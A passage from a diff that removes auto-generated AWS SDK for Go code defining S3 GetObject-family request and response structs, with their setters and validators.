field's value. -func (s *GetObjectAclInput) SetRequestPayer(v string) *GetObjectAclInput { - s.RequestPayer = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectAclInput) SetVersionId(v string) *GetObjectAclInput { - s.VersionId = &v - return s -} - -type GetObjectAclOutput struct { - _ struct{} `type:"structure"` - - // A list of grants. - Grants []*Grant `locationName:"AccessControlList" locationNameList:"Grant" type:"list"` - - Owner *Owner `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s GetObjectAclOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectAclOutput) GoString() string { - return s.String() -} - -// SetGrants sets the Grants field's value. -func (s *GetObjectAclOutput) SetGrants(v []*Grant) *GetObjectAclOutput { - s.Grants = v - return s -} - -// SetOwner sets the Owner field's value. -func (s *GetObjectAclOutput) SetOwner(v *Owner) *GetObjectAclOutput { - s.Owner = v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *GetObjectAclOutput) SetRequestCharged(v string) *GetObjectAclOutput { - s.RequestCharged = &v - return s -} - -type GetObjectInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Return the object only if its entity tag (ETag) is the same as the one specified, - // otherwise return a 412 (precondition failed). - IfMatch *string `location:"header" locationName:"If-Match" type:"string"` - - // Return the object only if it has been modified since the specified time, - // otherwise return a 304 (not modified). - IfModifiedSince *time.Time `location:"header" locationName:"If-Modified-Since" type:"timestamp"` - - // Return the object only if its entity tag (ETag) is different from the one - // specified, otherwise return a 304 (not modified). - IfNoneMatch *string `location:"header" locationName:"If-None-Match" type:"string"` - - // Return the object only if it has not been modified since the specified time, - // otherwise return a 412 (precondition failed). - IfUnmodifiedSince *time.Time `location:"header" locationName:"If-Unmodified-Since" type:"timestamp"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Part number of the object being read. This is a positive integer between - // 1 and 10,000. Effectively performs a 'ranged' GET request for the part specified. - // Useful for downloading just a part of an object. - PartNumber *int64 `location:"querystring" locationName:"partNumber" type:"integer"` - - // Downloads the specified range bytes of an object. For more information about - // the HTTP Range header, go to http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35. - Range *string `location:"header" locationName:"Range" type:"string"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Sets the Cache-Control header of the response. - ResponseCacheControl *string `location:"querystring" locationName:"response-cache-control" type:"string"` - - // Sets the Content-Disposition header of the response - ResponseContentDisposition *string `location:"querystring" locationName:"response-content-disposition" type:"string"` - - // Sets the Content-Encoding header of the response. - ResponseContentEncoding *string `location:"querystring" locationName:"response-content-encoding" type:"string"` - - // Sets the Content-Language header of the response. - ResponseContentLanguage *string `location:"querystring" locationName:"response-content-language" type:"string"` - - // Sets the Content-Type header of the response. - ResponseContentType *string `location:"querystring" locationName:"response-content-type" type:"string"` - - // Sets the Expires header of the response. - ResponseExpires *time.Time `location:"querystring" locationName:"response-expires" type:"timestamp"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // VersionId used to reference a specific version of the object. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s GetObjectInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectInput) SetBucket(v string) *GetObjectInput { - s.Bucket = &v - return s -} - -func (s *GetObjectInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetIfMatch sets the IfMatch field's value. -func (s *GetObjectInput) SetIfMatch(v string) *GetObjectInput { - s.IfMatch = &v - return s -} - -// SetIfModifiedSince sets the IfModifiedSince field's value. -func (s *GetObjectInput) SetIfModifiedSince(v time.Time) *GetObjectInput { - s.IfModifiedSince = &v - return s -} - -// SetIfNoneMatch sets the IfNoneMatch field's value. -func (s *GetObjectInput) SetIfNoneMatch(v string) *GetObjectInput { - s.IfNoneMatch = &v - return s -} - -// SetIfUnmodifiedSince sets the IfUnmodifiedSince field's value. -func (s *GetObjectInput) SetIfUnmodifiedSince(v time.Time) *GetObjectInput { - s.IfUnmodifiedSince = &v - return s -} - -// SetKey sets the Key field's value. -func (s *GetObjectInput) SetKey(v string) *GetObjectInput { - s.Key = &v - return s -} - -// SetPartNumber sets the PartNumber field's value. -func (s *GetObjectInput) SetPartNumber(v int64) *GetObjectInput { - s.PartNumber = &v - return s -} - -// SetRange sets the Range field's value. -func (s *GetObjectInput) SetRange(v string) *GetObjectInput { - s.Range = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *GetObjectInput) SetRequestPayer(v string) *GetObjectInput { - s.RequestPayer = &v - return s -} - -// SetResponseCacheControl sets the ResponseCacheControl field's value. -func (s *GetObjectInput) SetResponseCacheControl(v string) *GetObjectInput { - s.ResponseCacheControl = &v - return s -} - -// SetResponseContentDisposition sets the ResponseContentDisposition field's value. -func (s *GetObjectInput) SetResponseContentDisposition(v string) *GetObjectInput { - s.ResponseContentDisposition = &v - return s -} - -// SetResponseContentEncoding sets the ResponseContentEncoding field's value. -func (s *GetObjectInput) SetResponseContentEncoding(v string) *GetObjectInput { - s.ResponseContentEncoding = &v - return s -} - -// SetResponseContentLanguage sets the ResponseContentLanguage field's value. -func (s *GetObjectInput) SetResponseContentLanguage(v string) *GetObjectInput { - s.ResponseContentLanguage = &v - return s -} - -// SetResponseContentType sets the ResponseContentType field's value. -func (s *GetObjectInput) SetResponseContentType(v string) *GetObjectInput { - s.ResponseContentType = &v - return s -} - -// SetResponseExpires sets the ResponseExpires field's value. -func (s *GetObjectInput) SetResponseExpires(v time.Time) *GetObjectInput { - s.ResponseExpires = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *GetObjectInput) SetSSECustomerAlgorithm(v string) *GetObjectInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *GetObjectInput) SetSSECustomerKey(v string) *GetObjectInput { - s.SSECustomerKey = &v - return s -} - -func (s *GetObjectInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *GetObjectInput) SetSSECustomerKeyMD5(v string) *GetObjectInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectInput) SetVersionId(v string) *GetObjectInput { - s.VersionId = &v - return s -} - -type GetObjectLegalHoldInput struct { - _ struct{} `type:"structure"` - - // The bucket containing the object whose Legal Hold status you want to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The key name for the object whose Legal Hold status you want to retrieve. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // The version ID of the object whose Legal Hold status you want to retrieve. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s GetObjectLegalHoldInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectLegalHoldInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectLegalHoldInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectLegalHoldInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectLegalHoldInput) SetBucket(v string) *GetObjectLegalHoldInput { - s.Bucket = &v - return s -} - -func (s *GetObjectLegalHoldInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *GetObjectLegalHoldInput) SetKey(v string) *GetObjectLegalHoldInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *GetObjectLegalHoldInput) SetRequestPayer(v string) *GetObjectLegalHoldInput { - s.RequestPayer = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectLegalHoldInput) SetVersionId(v string) *GetObjectLegalHoldInput { - s.VersionId = &v - return s -} - -type GetObjectLegalHoldOutput struct { - _ struct{} `type:"structure" payload:"LegalHold"` - - // The current Legal Hold status for the specified object. - LegalHold *ObjectLockLegalHold `type:"structure"` -} - -// String returns the string representation -func (s GetObjectLegalHoldOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectLegalHoldOutput) GoString() string { - return s.String() -} - -// SetLegalHold sets the LegalHold field's value. -func (s *GetObjectLegalHoldOutput) SetLegalHold(v *ObjectLockLegalHold) *GetObjectLegalHoldOutput { - s.LegalHold = v - return s -} - -type GetObjectLockConfigurationInput struct { - _ struct{} `type:"structure"` - - // The bucket whose Object Lock configuration you want to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetObjectLockConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectLockConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectLockConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectLockConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectLockConfigurationInput) SetBucket(v string) *GetObjectLockConfigurationInput { - s.Bucket = &v - return s -} - -func (s *GetObjectLockConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetObjectLockConfigurationOutput struct { - _ struct{} `type:"structure" payload:"ObjectLockConfiguration"` - - // The specified bucket's Object Lock configuration. - ObjectLockConfiguration *ObjectLockConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetObjectLockConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectLockConfigurationOutput) GoString() string { - return s.String() -} - -// SetObjectLockConfiguration sets the ObjectLockConfiguration field's value. -func (s *GetObjectLockConfigurationOutput) SetObjectLockConfiguration(v *ObjectLockConfiguration) *GetObjectLockConfigurationOutput { - s.ObjectLockConfiguration = v - return s -} - -type GetObjectOutput struct { - _ struct{} `type:"structure" payload:"Body"` - - AcceptRanges *string `location:"header" locationName:"accept-ranges" type:"string"` - - // Object data. - Body io.ReadCloser `type:"blob"` - - // Specifies caching behavior along the request/reply chain. - CacheControl *string `location:"header" locationName:"Cache-Control" type:"string"` - - // Specifies presentational information for the object. - ContentDisposition *string `location:"header" locationName:"Content-Disposition" type:"string"` - - // Specifies what content encodings have been applied to the object and thus - // what decoding mechanisms must be applied to obtain the media-type referenced - // by the Content-Type header field. - ContentEncoding *string `location:"header" locationName:"Content-Encoding" type:"string"` - - // The language the content is in. - ContentLanguage *string `location:"header" locationName:"Content-Language" type:"string"` - - // Size of the body in bytes. - ContentLength *int64 `location:"header" locationName:"Content-Length" type:"long"` - - // The portion of the object returned in the response. - ContentRange *string `location:"header" locationName:"Content-Range" type:"string"` - - // A standard MIME type describing the format of the object data. - ContentType *string `location:"header" locationName:"Content-Type" type:"string"` - - // Specifies whether the object retrieved was (true) or was not (false) a Delete - // Marker. If false, this response header does not appear in the response. - DeleteMarker *bool `location:"header" locationName:"x-amz-delete-marker" type:"boolean"` - - // An ETag is an opaque identifier assigned by a web server to a specific version - // of a resource found at a URL - ETag *string `location:"header" locationName:"ETag" type:"string"` - - // If the object expiration is configured (see PUT Bucket lifecycle), the response - // includes this header. It includes the expiry-date and rule-id key value pairs - // providing object expiration information. The value of the rule-id is URL - // encoded. - Expiration *string `location:"header" locationName:"x-amz-expiration" type:"string"` - - // The date and time at which the object is no longer cacheable. - Expires *string `location:"header" locationName:"Expires" type:"string"` - - // Last modified date of the object - LastModified *time.Time `location:"header" locationName:"Last-Modified" type:"timestamp"` - - // A map of metadata to store with the object in S3. - Metadata map[string]*string `location:"headers" locationName:"x-amz-meta-" type:"map"` - - // This is set to the number of metadata entries not returned in x-amz-meta - // headers. This can happen if you create metadata using an API like SOAP that - // supports more flexible metadata than the REST API. For example, using SOAP, - // you can create metadata whose values are not legal HTTP headers. - MissingMeta *int64 `location:"header" locationName:"x-amz-missing-meta" type:"integer"` - - // Indicates whether this object has an active legal hold. This field is only - // returned if you have permission to view an object's legal hold status. - ObjectLockLegalHoldStatus *string `location:"header" locationName:"x-amz-object-lock-legal-hold" type:"string" enum:"ObjectLockLegalHoldStatus"` - - // The Object Lock mode currently in place for this object. - ObjectLockMode *string `location:"header" locationName:"x-amz-object-lock-mode" type:"string" enum:"ObjectLockMode"` - - // The date and time when this object's Object Lock will expire. - ObjectLockRetainUntilDate *time.Time `location:"header" locationName:"x-amz-object-lock-retain-until-date" type:"timestamp" timestampFormat:"iso8601"` - - // The count of parts this object has. - PartsCount *int64 `location:"header" locationName:"x-amz-mp-parts-count" type:"integer"` - - ReplicationStatus *string `location:"header" locationName:"x-amz-replication-status" type:"string" enum:"ReplicationStatus"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // Provides information about object restoration operation and expiration time - // of the restored object copy. - Restore *string `location:"header" locationName:"x-amz-restore" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - StorageClass *string `location:"header" locationName:"x-amz-storage-class" type:"string" enum:"StorageClass"` - - // The number of tags, if any, on the object. - TagCount *int64 `location:"header" locationName:"x-amz-tagging-count" type:"integer"` - - // Version of the object. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` - - // If the bucket is configured as a website, redirects requests for this object - // to another object in the same bucket or to an external URL. Amazon S3 stores - // the value of this header in the object metadata. - WebsiteRedirectLocation *string `location:"header" locationName:"x-amz-website-redirect-location" type:"string"` -} - -// String returns the string representation -func (s GetObjectOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectOutput) GoString() string { - return s.String() -} - -// SetAcceptRanges sets the AcceptRanges field's value. -func (s *GetObjectOutput) SetAcceptRanges(v string) *GetObjectOutput { - s.AcceptRanges = &v - return s -} - -// SetBody sets the Body field's value. -func (s *GetObjectOutput) SetBody(v io.ReadCloser) *GetObjectOutput { - s.Body = v - return s -} - -// SetCacheControl sets the CacheControl field's value. -func (s *GetObjectOutput) SetCacheControl(v string) *GetObjectOutput { - s.CacheControl = &v - return s -} - -// SetContentDisposition sets the ContentDisposition field's value. -func (s *GetObjectOutput) SetContentDisposition(v string) *GetObjectOutput { - s.ContentDisposition = &v - return s -} - -// SetContentEncoding sets the ContentEncoding field's value. -func (s *GetObjectOutput) SetContentEncoding(v string) *GetObjectOutput { - s.ContentEncoding = &v - return s -} - -// SetContentLanguage sets the ContentLanguage field's value. -func (s *GetObjectOutput) SetContentLanguage(v string) *GetObjectOutput { - s.ContentLanguage = &v - return s -} - -// SetContentLength sets the ContentLength field's value. -func (s *GetObjectOutput) SetContentLength(v int64) *GetObjectOutput { - s.ContentLength = &v - return s -} - -// SetContentRange sets the ContentRange field's value. -func (s *GetObjectOutput) SetContentRange(v string) *GetObjectOutput { - s.ContentRange = &v - return s -} - -// SetContentType sets the ContentType field's value. -func (s *GetObjectOutput) SetContentType(v string) *GetObjectOutput { - s.ContentType = &v - return s -} - -// SetDeleteMarker sets the DeleteMarker field's value. -func (s *GetObjectOutput) SetDeleteMarker(v bool) *GetObjectOutput { - s.DeleteMarker = &v - return s -} - -// SetETag sets the ETag field's value. -func (s *GetObjectOutput) SetETag(v string) *GetObjectOutput { - s.ETag = &v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *GetObjectOutput) SetExpiration(v string) *GetObjectOutput { - s.Expiration = &v - return s -} - -// SetExpires sets the Expires field's value. -func (s *GetObjectOutput) SetExpires(v string) *GetObjectOutput { - s.Expires = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *GetObjectOutput) SetLastModified(v time.Time) *GetObjectOutput { - s.LastModified = &v - return s -} - -// SetMetadata sets the Metadata field's value. -func (s *GetObjectOutput) SetMetadata(v map[string]*string) *GetObjectOutput { - s.Metadata = v - return s -} - -// SetMissingMeta sets the MissingMeta field's value. -func (s *GetObjectOutput) SetMissingMeta(v int64) *GetObjectOutput { - s.MissingMeta = &v - return s -} - -// SetObjectLockLegalHoldStatus sets the ObjectLockLegalHoldStatus field's value. -func (s *GetObjectOutput) SetObjectLockLegalHoldStatus(v string) *GetObjectOutput { - s.ObjectLockLegalHoldStatus = &v - return s -} - -// SetObjectLockMode sets the ObjectLockMode field's value. -func (s *GetObjectOutput) SetObjectLockMode(v string) *GetObjectOutput { - s.ObjectLockMode = &v - return s -} - -// SetObjectLockRetainUntilDate sets the ObjectLockRetainUntilDate field's value. -func (s *GetObjectOutput) SetObjectLockRetainUntilDate(v time.Time) *GetObjectOutput { - s.ObjectLockRetainUntilDate = &v - return s -} - -// SetPartsCount sets the PartsCount field's value. -func (s *GetObjectOutput) SetPartsCount(v int64) *GetObjectOutput { - s.PartsCount = &v - return s -} - -// SetReplicationStatus sets the ReplicationStatus field's value. -func (s *GetObjectOutput) SetReplicationStatus(v string) *GetObjectOutput { - s.ReplicationStatus = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *GetObjectOutput) SetRequestCharged(v string) *GetObjectOutput { - s.RequestCharged = &v - return s -} - -// SetRestore sets the Restore field's value. -func (s *GetObjectOutput) SetRestore(v string) *GetObjectOutput { - s.Restore = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *GetObjectOutput) SetSSECustomerAlgorithm(v string) *GetObjectOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *GetObjectOutput) SetSSECustomerKeyMD5(v string) *GetObjectOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *GetObjectOutput) SetSSEKMSKeyId(v string) *GetObjectOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *GetObjectOutput) SetServerSideEncryption(v string) *GetObjectOutput { - s.ServerSideEncryption = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *GetObjectOutput) SetStorageClass(v string) *GetObjectOutput { - s.StorageClass = &v - return s -} - -// SetTagCount sets the TagCount field's value. -func (s *GetObjectOutput) SetTagCount(v int64) *GetObjectOutput { - s.TagCount = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectOutput) SetVersionId(v string) *GetObjectOutput { - s.VersionId = &v - return s -} - -// SetWebsiteRedirectLocation sets the WebsiteRedirectLocation field's value. -func (s *GetObjectOutput) SetWebsiteRedirectLocation(v string) *GetObjectOutput { - s.WebsiteRedirectLocation = &v - return s -} - -type GetObjectRetentionInput struct { - _ struct{} `type:"structure"` - - // The bucket containing the object whose retention settings you want to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The key name for the object whose retention settings you want to retrieve. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // The version ID for the object whose retention settings you want to retrieve. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s GetObjectRetentionInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectRetentionInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectRetentionInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectRetentionInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectRetentionInput) SetBucket(v string) *GetObjectRetentionInput { - s.Bucket = &v - return s -} - -func (s *GetObjectRetentionInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *GetObjectRetentionInput) SetKey(v string) *GetObjectRetentionInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *GetObjectRetentionInput) SetRequestPayer(v string) *GetObjectRetentionInput { - s.RequestPayer = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectRetentionInput) SetVersionId(v string) *GetObjectRetentionInput { - s.VersionId = &v - return s -} - -type GetObjectRetentionOutput struct { - _ struct{} `type:"structure" payload:"Retention"` - - // The container element for an object's retention settings. - Retention *ObjectLockRetention `type:"structure"` -} - -// String returns the string representation -func (s GetObjectRetentionOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectRetentionOutput) GoString() string { - return s.String() -} - -// SetRetention sets the Retention field's value. -func (s *GetObjectRetentionOutput) SetRetention(v *ObjectLockRetention) *GetObjectRetentionOutput { - s.Retention = v - return s -} - -type GetObjectTaggingInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s GetObjectTaggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectTaggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectTaggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectTaggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectTaggingInput) SetBucket(v string) *GetObjectTaggingInput { - s.Bucket = &v - return s -} - -func (s *GetObjectTaggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *GetObjectTaggingInput) SetKey(v string) *GetObjectTaggingInput { - s.Key = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectTaggingInput) SetVersionId(v string) *GetObjectTaggingInput { - s.VersionId = &v - return s -} - -type GetObjectTaggingOutput struct { - _ struct{} `type:"structure"` - - // TagSet is a required field - TagSet []*Tag `locationNameList:"Tag" type:"list" required:"true"` - - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s GetObjectTaggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectTaggingOutput) GoString() string { - return s.String() -} - -// SetTagSet sets the TagSet field's value. -func (s *GetObjectTaggingOutput) SetTagSet(v []*Tag) *GetObjectTaggingOutput { - s.TagSet = v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *GetObjectTaggingOutput) SetVersionId(v string) *GetObjectTaggingOutput { - s.VersionId = &v - return s -} - -type GetObjectTorrentInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` -} - -// String returns the string representation -func (s GetObjectTorrentInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectTorrentInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectTorrentInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectTorrentInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectTorrentInput) SetBucket(v string) *GetObjectTorrentInput { - s.Bucket = &v - return s -} - -func (s *GetObjectTorrentInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *GetObjectTorrentInput) SetKey(v string) *GetObjectTorrentInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *GetObjectTorrentInput) SetRequestPayer(v string) *GetObjectTorrentInput { - s.RequestPayer = &v - return s -} - -type GetObjectTorrentOutput struct { - _ struct{} `type:"structure" payload:"Body"` - - Body io.ReadCloser `type:"blob"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" 